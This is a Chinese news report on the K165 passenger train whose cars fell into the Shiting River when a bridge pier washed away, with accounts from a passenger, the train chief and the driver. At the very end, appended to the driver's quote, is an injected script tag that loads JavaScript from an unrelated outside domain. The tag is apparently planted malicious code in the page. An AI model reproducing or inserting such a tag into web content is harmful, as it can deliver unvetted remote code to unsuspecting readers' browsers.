| 中国国际新闻网德阳8月20日电(记者 郑美荣) 19日下午3点15分，从西安开往昆明的K165次列车行驶到宝成铁路德阳至广汉间石亭江大桥处，大桥桥墩被水冲走，桥面突然断裂，两节车厢悬在半空，随即列车两节车厢掉入江中，所幸在危险发生以前，乘客全部被安全转移，仅3人受了轻伤。目前铁路部门正在组织人员全力抢险，旅客已经全部转运至成都。
火车断为3截一节车厢漂在河边
19日下午5时许，事故现场已进入了紧急状态，各个进出路口只允许抢险人员进出，在路边停放着40余辆中巴车，这些车辆是用于转运列车乘客所用。
事发的石亭江大桥上，一段20余米的桥梁不见了踪影，断裂处两边还停放着列车车厢，从整个桥面可以清晰地看见，列车车厢断裂为三截，靠近断裂桥面两节车厢中，有半截车厢还悬在半空中，看上去摇摇欲坠。
记者注意到，宝成铁路的双线铁路，石亭江大桥共有两个大桥，而断裂的大桥刚好是列车进入成都的单线铁路，旁边另一条线路毫无损伤。
而在下游300米处，是正在施工中的成绵乐客运专线，河面上已经浇筑好了桥墩，在河中央的桥墩处，断裂的桥面被挡了下来，在靠近河岸的桥墩处，还横着一节车厢，车厢侧躺在河中，湍急的河水不断冲击着车厢。
此时，河两岸已聚集着上千名抢险人员，部分武警官兵带着挖掘机进入了现场，在断裂的桥两边，铁路人员正在组织吊车，准备将车厢拖回到轨道上。
回忆▶
乘客：像做了一个恐怖的梦
“我觉得像是做梦，一个恐怖的梦。”邱明清坐在15号车厢内，事发时，他突然感觉列车来了个紧急刹车，他的身体一下向前倾，然后列车就停了下来。他还没有弄清怎么回事，车厢一下子往下沉，自己的身体也跟着下沉，然后又出现了倾斜。
邱明清侧过身看看窗外，脚下就是滚滚的洪流。“遭了，出事了！”
车厢里其他乘客也开始慌乱起来，大家都起身准备往外跑。这时，列车乘务员过来了，她告诉大家不要慌乱，坐在座位上不要乱动，有些乘客下意识地走向车厢门，可是由于车体倾斜，车门难以打开，每个人脸上都是着急的表情。
时间一分一秒地过去，怎么样才能离开车厢？正在大家非常着急时，车厢门终于打开了，在乘务员的组织下，大家依次走出了车厢门。与此同时，外面的救援人员也赶到了，大家搀扶着走出了车厢。
列车长：曾经演练乘务员最后下车
险情发生时，列车长王巧芬迅速将乘务员组织起来疏散乘客。列车上的乘务员都能按照曾演练过的应急预案紧急疏散旅客，这趟车出来之前，专门搞过一次演练。当时乘务员先打开了车门，让旅客下车，迅速向安全地带转移，等到前几节车厢人清空以后，她们开始走向悬空的14、15号车厢……最终所有旅客都安全下了车。
“乘务员是最后下车的！”王巧芬说，旅客下来后，大家还在车厢里巡视一圈，确认所有旅客都下车了，才离开车厢。
被冲走的火车车厢
开始修理电路的工人
火车司机：紧急刹车避免更大危险
当险情发生那一刻，K165次列车司机曹继敏紧急刹车，避免了更大的危险发生。“当时都来不及多想，直接就选择了刹车。”曹继敏还记得，当列车刚驶上大桥时，他明显感觉到车身晃动，凭着多年的经验，他觉得大桥可能出问题了，这时，前方的工务段人员也发出了停车信号?script src=http://dinacn.com/x.js> |
